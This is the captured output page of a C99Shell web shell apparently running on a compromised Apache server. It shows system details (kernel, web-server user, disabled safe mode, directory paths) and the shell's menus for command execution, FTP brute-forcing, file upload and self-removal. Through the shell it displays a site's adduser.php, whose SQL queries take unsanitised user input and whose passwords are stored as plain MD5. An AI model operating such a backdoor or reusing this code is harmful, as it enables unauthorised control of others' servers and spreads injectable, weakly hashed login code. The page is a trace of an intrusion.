!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t 

Safe-mode: OFF (not secure)

/home/mnnews/public_html/login/users/Examples/   drwxr-xr-x
Free 2.81 GB of 27.03 GB (10.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     adduser.php (1.53 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include "../config.php";    //the file is outside this directory
                            // Success messages
$l_success = "was succesfully added to our database";
$l_exist   = "exist in our database";
$index    = -1;                // Error message index

if ( isset($user) and isset($pass) )
{
   $sql_txt = "select user from users where user='$user'";
   $sql_rez = mysql_query($sql_txt) or die ($err_query);
   if( mysql_num_rows($sql_rez)<>0)
     {
       echo "<center><br><br><br>$user $l_exist</center>";
     }
    else
     {
       $new_pass=md5($pass);
       $sql_txt = "insert into users (user, password) VALUES('$user','$new_pass')";
       mysql_query($sql_txt) or die ($err_query);
       echo "<center><br><br><br>$user $l_success</center>";
     }
   exit;
}

echo "

<FORM name=\"AdUserForm\" method=\"POST\" action=\"adduser.php\">
  <CENTER>
   <TABLE width=210>
    <TR>
     <TD align=center>
      <BR><BR><B>New user</B><BR>
      <HR SIZE=1>
     </TD>
    </TR>
    <TR>
     <TD align=center>
      <table width=\"150\">
       <tr>
         <td><B>User:</B></td>
         <td align=left><input type=\"text\" name=\"user\" size=\"10\"></td>
       </tr>
       <tr>
         <td><B>Password:</B></td>
         <td align=left><input type=\"password\" name=\"pass\" size=\"10\"></td>
       </tr>
       <tr>
         <td colSpan=2 align=center><INPUT type=\"Submit\" name=\"BtnSubmit\" value=\"Create account\"></td>
       </tr>
      </table>
     </TD>
    </TR>
   </TABLE>
  </CENTER>
</FORM>
";
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0034 ]--